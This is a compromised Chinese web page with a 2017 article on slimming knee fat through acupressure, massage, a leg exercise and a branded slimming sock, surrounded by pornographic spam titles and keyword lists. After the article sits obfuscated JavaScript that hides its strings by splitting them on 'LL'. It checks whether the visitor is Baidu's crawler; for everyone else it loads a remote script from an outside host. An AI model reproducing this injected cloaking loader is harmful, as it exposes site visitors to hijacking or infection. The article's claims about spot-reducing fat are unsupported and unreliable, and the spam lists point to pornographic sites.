久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 減肥方法 > 正文

怎樣減膝蓋上的贅肉才好呢?

2017-06-12 14:38:02  來源:360常識網   熱度:
導語:夏天的時候走在大街上,會看到很多美女都會穿一些短裙,大多數都是露膝群,但是有的人的膝蓋上的肉肉很多,穿著裙子雖然很好看,但是還是顯

夏天的時候走在大街上,會看到很多美女都會穿一些短裙,大多數都是露膝群,但是有的人的膝蓋上的肉肉很多,穿著裙子雖然很好看,但是還是顯得自己的腿部很臃腫,這樣可不好,就因為自己膝蓋有肉,就會影響到自己的整體形象,下面小編就給大家說說怎樣減膝蓋上的贅肉才會有效果。

1、穴位按摩甩掉膝蓋贅肉

想瘦掉膝蓋上的贅肉,必要的穴位按摩也是很有效的。在膝蓋骨頂端約三個指寬的位置有個叫梁丘穴的地方,經常按摩梁丘穴可以減掉膝蓋上側的贅肉,還能有效地排除腿部的廢水,防止水腫。

2、按摩膝蓋甩掉贅肉

沐浴后再做膝蓋按摩是最有效的。

取兩個硬幣大小的乳液于手心,搓熱后均勻按在兩個膝蓋上,保持五秒;

以手掌用打圈的方式按摩膝蓋,并加以拍打的手勢;

用大拇指和食指上下來回刮你的膝蓋骨兩側,這樣可以迅速化解膝蓋兩側的贅肉。

3、瘦膝蓋的運動

淺坐在椅子上,將腿用力向前伸,保持身體正直,腳尖緊緊繃住不要放松;

在腿部抬到于地面平行時,將腳部往身體內側繃住,維持10秒,再換腿。

這是一組瘦腿的運動,特別是能快速甩掉膝蓋內側的贅肉。

4、睡眠瘦腿襪

瘦身科技如此發達的今天,不妨利用一下先進的瘦腿襪吧,有一個叫做足倍健的睡眠瘦腿襪,非常管用,專門適用于晚上時穿在腿上,能在不知不覺中排除積蓄在腿部一天的水分,特別是膝蓋上側的贅肉有不錯的甩肉效果。

可以準備把小尺子,時刻掌握膝蓋圍度呢。

小編認為最好的減肥方式還是運動最好,像是上面介紹的瘦腿襪大家不要一直穿著,因為會把腿部肌肉繃得很緊,還會抑制血液的流通,時間長了,對身體會產生不好的影響,但是偶爾穿一次肯定不會有大的問題了,每天睡覺之前不要喝太多的水,以免水腫。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 免费搞黄视频 | 欧美大片一区二区 | 久久国产欧美日韩精品 | 九九久久精品 | 啵啵影院午夜男人免费视频 | 国产精品久久久久久久久久 | 欧美久久精品 | 欧美二区三区 | 亚洲视频成人 | 欧美精品一区二区三区在线 | 亚洲国产一区二区三区在线观看 | 97成人精品视频在线观看 | 九九久久精品 | 中文字幕国产视频 | 狠狠色噜噜狠狠狠合久 | 97在线超碰| 亚洲高清视频在线观看 | 男女免费在线观看视频 | 97色涩| 亚洲最大的黄色网 | 欧美性猛交一区二区三区精品 | 亚洲精品久久久久国产 | 亚洲视频观看 | 国产一区二区精品 | 黄色天堂网 | 亚洲国产精品成人综合色在线婷婷 | www.伊人网| 欧美成人激情视频 | 在线精品观看 | 日韩视频在线观看不卡 | 91小视频| 久久久久国产一区二区三区四区 | 亚洲一区二区三区四区五区中文 | 国产福利一区二区在线 | 黄色片免费看 | 欧美一区二区在线播放 | 亚洲成人av在线 | 男人视频网站 | 日韩第1页 | 国产精品美女视频网站 | 中文一区 |